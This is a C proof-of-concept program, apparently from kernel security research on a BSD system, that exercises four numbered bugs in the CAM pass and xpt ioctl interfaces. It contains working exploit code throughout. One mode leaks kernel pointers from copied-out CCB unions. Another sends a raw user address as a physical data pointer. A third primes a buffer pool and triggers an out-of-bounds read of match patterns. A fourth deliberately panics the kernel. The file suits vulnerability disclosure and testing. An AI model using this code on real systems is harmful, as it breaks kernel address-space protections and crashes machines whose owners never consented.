/*
 * df_p1.c -- Phase 1 stock-kernel userland PoCs (run as root on guest).
 *
 * DF-2277: kernel pointer leak via CAMIOCOMMAND full-union-ccb copyout
 * DF-2266: kernel pointer leak via CAMGETPASSTHRU whole-CCB bcopy
 * DF-2278: CAM_DATA_PHYS accepted by pass / rejected by XPT_DEV_MATCH
 * DF-2260: XPT_DEV_MATCH reads patterns[] past pattern_buf_len (primed)
 *
 * usage: df_p1 leak | phys | oob | panic
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stddef.h>
#include <errno.h>
#include <err.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/scsi/scsi_all.h>
#include <bus/cam/scsi/scsi_message.h>
#include <bus/cam/scsi/scsi_pass.h>

#define PASSDEV "/dev/pass0"
#define XPTDEV  "/dev/xpt0"

static int
is_kptr(uint64_t v)
{
	/* amd64 DF: kernel text 0xffffffff8..., kernel heap/DMAP 0xffff... */
	return (v >= 0xffff800000000000ULL);
}

static void
dump_kptrs(const char *tag, union ccb *ccb, int verbose)
{
	uint64_t *p = (uint64_t *)ccb;
	size_t n = sizeof(union ccb) / 8;
	int i, hits = 0;

	printf("== %s: sizeof(union ccb)=%zu\n", tag, sizeof(union ccb));
	for (i = 0; i < n; i++) {
		if (is_kptr(p[i])) {
			hits++;
			printf("  [%4d] off %#06zx = %#018llx\n",
			    i, (size_t)(i * 8), (unsigned long long)p[i]);
		}
	}
	printf("  kernel-pointer-looking qwords: %d\n", hits);
	/* attribute known header fields */
	printf("  offsetof ccb_h.path=%zu cbfcnp=%zu periph_priv=%zu "
	    "sim_priv=%zu timeout_ch=%zu retry_count=%zu\n",
	    offsetof(struct ccb_hdr, path),
	    offsetof(struct ccb_hdr, cbfcnp),
	    offsetof(struct ccb_hdr, periph_priv),
	    offsetof(struct ccb_hdr, sim_priv),
	    offsetof(struct ccb_hdr, timeout_ch),
	    offsetof(struct ccb_hdr, retry_count));
	{
		size_t o_path = offsetof(struct ccb_hdr, path);
		size_t o_fc = offsetof(struct ccb_hdr, cbfcnp);
		size_t o_pp = offsetof(struct ccb_hdr, periph_priv);
		size_t o_sp = offsetof(struct ccb_hdr, sim_priv);
		size_t o_pl = offsetof(struct ccb_hdr, periph_links);
		printf("  ATTR path@%#zx=%#llx cbfcnp@%#zx=%#llx "
		    "periph_priv.ptr@%#zx=%#llx sim_priv.ptr@%#zx=%#llx\n",
		    o_path, *(unsigned long long *)((char *)ccb + o_path),
		    o_fc, *(unsigned long long *)((char *)ccb + o_fc),
		    o_pp, *(unsigned long long *)((char *)ccb + o_pp),
		    o_sp, *(unsigned long long *)((char *)ccb + o_sp));
		(void)o_pl;
	}
	(void)verbose;
}

static void
do_inquiry_ccb(union ccb *ccb, u_int32_t flags_extra, uint8_t *datap,
    uint32_t dxfer)
{
	memset(ccb, 0, sizeof(*ccb));
	ccb->ccb_h.func_code = XPT_SCSI_IO;
	ccb->ccb_h.flags = CAM_DIR_IN | flags_extra;
	ccb->csio.cdb_len = 6;
	memset(ccb->csio.cdb_io.cdb_bytes, 0, SCSI_MAX_CDBLEN);
	ccb->csio.cdb_io.cdb_bytes[0] = 0x12; /* INQUIRY */
	ccb->csio.cdb_io.cdb_bytes[4] = dxfer;
	ccb->csio.dxfer_len = dxfer;
	ccb->csio.data_ptr = datap;
	ccb->csio.sglist_cnt = 0;
	ccb->csio.sense_len = SSD_FULL_SIZE;
	ccb->ccb_h.timeout = 30 * 1000;
}

static void
cmd_leak(void)
{
	union ccb ccb;
	uint8_t buf[256];
	int fd, i, r;

	fd = open(PASSDEV, O_RDWR);
	if (fd < 0)
		err(1, "open %s", PASSDEV);

	printf("sizeof(union ccb)=%zu sizeof(ccb_hdr)=%zu\n",
	    sizeof(union ccb), sizeof(struct ccb_hdr));

	for (r = 0; r < 3; r++) {
		/* prime: SCSI IO INQUIRY through the periph CCB pool */
		memset(buf, 0, sizeof(buf));
		do_inquiry_ccb(&ccb, 0, buf, 96);
		i = ioctl(fd, CAMIOCOMMAND, &ccb);
		printf("run %d: INQUIRY ioctl=%d status=%#x dxfer=%u "
		    "resid=%u\n", r, i, ccb.ccb_h.status & CAM_STATUS_MASK,
		    ccb.csio.dxfer_len, ccb.csio.resid);
		if (i == 0)
			dump_kptrs("DF-2277 CAMIOCOMMAND(SCSI_IO INQ) result",
			    &ccb, 1);

		/* DF-2266: CAMGETPASSTHRU */
		memset(&ccb, 0, sizeof(ccb));
		i = ioctl(fd, CAMGETPASSTHRU, &ccb);
		printf("run %d: CAMGETPASSTHRU ioctl=%d status=%#x "
		    "periph=%s%d\n", r, i, ccb.ccb_h.status & CAM_STATUS_MASK,
		    ccb.cgdl.periph_name, ccb.cgdl.unit_number);
		if (i == 0)
			dump_kptrs("DF-2266 CAMGETPASSTHRU result", &ccb, 1);
	}
	close(fd);
}

static void
cmd_phys_control_only(void)
{
	union ccb ccb;
	uint8_t buf[256];
	int fd, i;

	fd = open(PASSDEV, O_RDWR);
	if (fd < 0)
		err(1, "open %s", PASSDEV);
	memset(buf, 0xAA, sizeof(buf));
	do_inquiry_ccb(&ccb, 0, buf, 96);
	i = ioctl(fd, CAMIOCOMMAND, &ccb);
	printf("CONTROL no-PHYS: ioctl=%d cam_status=%#x first4=%02x%02x%02x%02x\n",
	    i, ccb.ccb_h.status & CAM_STATUS_MASK,
	    buf[0], buf[1], buf[2], buf[3]);
	close(fd);
}

static void
cmd_phys_data_phys(void)
{
	union ccb ccb;
	uint8_t buf[256];
	int fd, i;

	fd = open(PASSDEV, O_RDWR);
	if (fd < 0)
		err(1, "open %s", PASSDEV);
	printf("DF-2278 PHYS test: issuing XPT_SCSI_IO INQUIRY with "
	    "CAM_DATA_PHYS and data_ptr=%p (userland address, forwarded "
	    "raw to the transport because passsendccb skips mapmem)\n",
	    (void *)buf);
	memset(buf, 0xAA, sizeof(buf));
	do_inquiry_ccb(&ccb, CAM_DATA_PHYS, buf, 96);
	i = ioctl(fd, CAMIOCOMMAND, &ccb);
	printf("PHYS: ioctl=%d cam_status=%#x first4=%02x%02x%02x%02x "
	    "(if we get here, no panic)\n",
	    i, ccb.ccb_h.status & CAM_STATUS_MASK,
	    buf[0], buf[1], buf[2], buf[3]);
	close(fd);
}

static void
cmd_phys(void)
{
	union ccb ccb;
	uint8_t buf[256];
	int fd, i;

	fd = open(PASSDEV, O_RDWR);
	if (fd < 0)
		err(1, "open %s", PASSDEV);

	/* control: plain INQUIRY, no PHYS */
	memset(buf, 0xAA, sizeof(buf));
	do_inquiry_ccb(&ccb, 0, buf, 96);
	i = ioctl(fd, CAMIOCOMMAND, &ccb);
	printf("CONTROL no-PHYS: ioctl=%d cam_status=%#x first4=%02x%02x%02x%02x\n",
	    i, ccb.ccb_h.status & CAM_STATUS_MASK,
	    buf[0], buf[1], buf[2], buf[3]);

	/* DF-2278a: CAM_DATA_PHYS with a valid user buffer address */
	memset(buf, 0xAA, sizeof(buf));
	do_inquiry_ccb(&ccb, CAM_DATA_PHYS, buf, 96);
	i = ioctl(fd, CAMIOCOMMAND, &ccb);
	printf("DF-2278a PHYS+valid-user-buf: ioctl=%d cam_status=%#x "
	    "sense_resid=%u first4=%02x%02x%02x%02x\n",
	    i, ccb.ccb_h.status & CAM_STATUS_MASK, ccb.csio.sense_resid,
	    buf[0], buf[1], buf[2], buf[3]);

	/* DF-2278b: CAM_SG_LIST_PHYS + CAM_DATA_PHYS on the same buffer */
	memset(buf, 0xAA, sizeof(buf));
	do_inquiry_ccb(&ccb, CAM_DATA_PHYS | CAM_SG_LIST_PHYS, buf, 96);
	i = ioctl(fd, CAMIOCOMMAND, &ccb);
	printf("DF-2278b PHYS+SG_PHYS: ioctl=%d cam_status=%#x\n",
	    i, ccb.ccb_h.status & CAM_STATUS_MASK);

	close(fd);

	/* DF-2278c: XPT_DEV_MATCH via xpt0 rejects CAM_DATA_PHYS */
	fd = open(XPTDEV, O_RDWR);
	if (fd < 0)
		err(1, "open %s", XPTDEV);
	{
		static struct dev_match_pattern pat[2];
		static struct dev_match_result mat[16];
		union ccb cdm;

		memset(&cdm, 0, sizeof(cdm));
		memset(pat, 0, sizeof(pat));
		memset(mat, 0, sizeof(mat));
		pat[0].type = DEV_MATCH_PERIPH;
		strcpy(pat[0].pattern.periph_pattern.periph_name, "pass");
		pat[0].pattern.periph_pattern.flags = PERIPH_MATCH_NAME;

		cdm.ccb_h.func_code = XPT_DEV_MATCH;
		cdm.ccb_h.flags = CAM_DATA_PHYS;	/* the point */
		cdm.cdm.num_patterns = 1;
		cdm.cdm.pattern_buf_len = sizeof(pat);
		cdm.cdm.patterns = pat;
		cdm.cdm.match_buf_len = sizeof(mat);
		cdm.cdm.matches = mat;
		cdm.cdm.pos.position_type = CAM_DEV_POS_NONE;
		i = ioctl(fd, CAMIOCOMMAND, &cdm);
		printf("DF-2278c DEV_MATCH+PHYS via xpt0: ioctl=%d errno=%d "
		    "(errmsg=%s) -- EINVAL proves the asymmetry\n",
		    i, errno, strerror(errno));
	}
	close(fd);
}

static int
xpt_dev_match(int fd, struct dev_match_pattern *pat, u_int32_t pat_len,
    u_int32_t num_pat, struct dev_match_result *mat, u_int32_t mat_len,
    int print)
{
	union ccb cdm;
	int i;

	memset(&cdm, 0, sizeof(cdm));
	cdm.ccb_h.func_code = XPT_DEV_MATCH;
	cdm.cdm.num_patterns = num_pat;
	cdm.cdm.pattern_buf_len = pat_len;
	cdm.cdm.patterns = pat;
	cdm.cdm.match_buf_len = mat_len;
	cdm.cdm.matches = mat;
	cdm.cdm.pos.position_type = CAM_DEV_POS_NONE;
	errno = 0;
	i = ioctl(fd, CAMIOCOMMAND, &cdm);
	if (print)
		printf("    ioctl=%d errno=%d status=%#x num_matches=%u "
		    "pos.type=%d\n", i, errno,
		    cdm.ccb_h.status & CAM_STATUS_MASK,
		    cdm.cdm.num_matches, cdm.cdm.pos.position_type);
	return (i);
}

static void
cmd_oob(void)
{
	static struct dev_match_pattern pat[1024];
	static struct dev_match_result mat[64];
	static struct dev_match_result bigmat[256];
	int fd, i, k;

	printf("sizeof(struct dev_match_pattern)=%zu "
	    "offsetof(pattern.periph_pattern.flags)=%zu\n",
	    sizeof(struct dev_match_pattern),
	    offsetof(struct dev_match_pattern,
	    pattern.periph_pattern.flags));
	fd = open(XPTDEV, O_RDWR);
	if (fd < 0)
		err(1, "open %s", XPTDEV);

	/*
	 * PRIME: two back-to-back XPT_DEV_MATCH calls whose pattern
	 * buffers are 8KB of the SAME "pass"-matching pattern repeated
	 * at every sizeof(dev_match_pattern) slot.  The pbuf pool is
	 * per-CPU LIFO and each call consumes two pbufs (patterns +
	 * matches), so after two primes both pbufs in rotation hold
	 * long runs of our pattern bytes (match results written into
	 * the matches-pbuf only clobber its first few hundred bytes).
	 */
	for (k = 0; k < 2; k++) {
		memset(pat, 0, sizeof(pat));
		for (i = 0; i < 1024; i++) {
			pat[i].type = DEV_MATCH_PERIPH;
			strcpy(pat[i].pattern.periph_pattern.periph_name,
			    "pass");
			pat[i].pattern.periph_pattern.flags =
			    PERIPH_MATCH_NAME;
		}
		printf("PRIME[%d]: pattern_buf_len=%zu num_patterns=2 "
		    "(8KB of repeated pass-patterns)\n", k,
		    (size_t)(8192 / sizeof(struct dev_match_pattern) *
		    sizeof(struct dev_match_pattern)));
		xpt_dev_match(fd, pat, 8192, 2, bigmat, sizeof(bigmat), 1);
	}

	/* OOB call: pattern_buf_len covers ONE pattern; num_patterns=64.
	 * In-bounds patterns[0] matches nothing ("zzzz"); the kernel
	 * (finding) iterates patterns[1..63] FAR past pattern_buf_len,
	 * i.e. into stale pbuf data primed above. */
	memset(pat, 0, sizeof(pat));
	memset(mat, 0, sizeof(mat));
	pat[0].type = DEV_MATCH_PERIPH;
	strcpy(pat[0].pattern.periph_pattern.periph_name, "zzzz");
	pat[0].pattern.periph_pattern.flags = PERIPH_MATCH_NAME;
	printf("OOB: pattern_buf_len=%zu num_patterns=64 "
	    "(in-bounds patterns[0]=zzzz)\n",
	    1 * sizeof(struct dev_match_pattern));
	xpt_dev_match(fd, pat, 1 * sizeof(struct dev_match_pattern), 64,
	    mat, sizeof(mat), 1);
	for (i = 0; i < 64; i++) {
		if (mat[i].type == DEV_MATCH_PERIPH &&
		    mat[i].result.periph_result.periph_name[0] != 0) {
			printf("    match[%d] periph=%s%d  <== produced by "
			    "an OUT-OF-BOUNDS stale pattern slot\n", i,
			    mat[i].result.periph_result.periph_name,
			    mat[i].result.periph_result.unit_number);
		}
	}

	/* control: identical call but num_patterns=1 (legal) */
	memset(pat, 0, sizeof(pat));
	memset(mat, 0, sizeof(mat));
	pat[0].type = DEV_MATCH_PERIPH;
	strcpy(pat[0].pattern.periph_pattern.periph_name, "zzzz");
	pat[0].pattern.periph_pattern.flags = PERIPH_MATCH_NAME;
	printf("CONTROL: pattern_buf_len=%zu num_patterns=1\n",
	    1 * sizeof(struct dev_match_pattern));
	xpt_dev_match(fd, pat, 1 * sizeof(struct dev_match_pattern), 1,
	    mat, sizeof(mat), 1);

	printf("VERDICT: OOB call matched pass* while legal control "
	    "matched nothing -> kernel consumed pattern bytes beyond "
	    "pattern_buf_len (DF-2260)\n");
	close(fd);
}

static void
cmd_panic(void)
{
	static struct dev_match_pattern pat[2];
	static struct dev_match_result mat[64];
	int fd;

	printf("DF-2260 fault variant: num_patterns=0x20000000 with "
	    "pattern_buf_len=%zu -- kernel walks patterns[i].type far past "
	    "the mapped pbuf\n", 1 * sizeof(struct dev_match_pattern));
	fd = open(XPTDEV, O_RDWR);
	if (fd < 0)
		err(1, "open %s", XPTDEV);
	memset(pat, 0, sizeof(pat));
	memset(mat, 0, sizeof(mat));
	pat[0].type = DEV_MATCH_PERIPH;	/* not BUS/DEVICE: no early break */
	strcpy(pat[0].pattern.periph_pattern.periph_name, "zzzz");
	pat[0].pattern.periph_pattern.flags = PERIPH_MATCH_NAME;
	xpt_dev_match(fd, pat, 1 * sizeof(struct dev_match_pattern),
	    0x20000000, mat, sizeof(mat), 1);
	printf("SURVIVED (no fault) -- unexpected\n");
	close(fd);
}

int
main(int argc, char **argv)
{
	setvbuf(stdout, NULL, _IONBF, 0);
	if (argc < 2)
		errx(1, "usage: df_p1 leak|phys|oob|panic|physpanic");
	if (strcmp(argv[1], "leak") == 0)
		cmd_leak();
	else if (strcmp(argv[1], "phys") == 0)
		cmd_phys();
	else if (strcmp(argv[1], "physpanic") == 0) {
		/* control first (works), then the PHYS variant that
		 * forwards the raw user data_ptr into the transport */
		cmd_phys_control_only();
		cmd_phys_data_phys();
	}
	else if (strcmp(argv[1], "oob") == 0)
		cmd_oob();
	else if (strcmp(argv[1], "panic") == 0)
		cmd_panic();
	else
		errx(1, "unknown cmd");
	return (0);
}
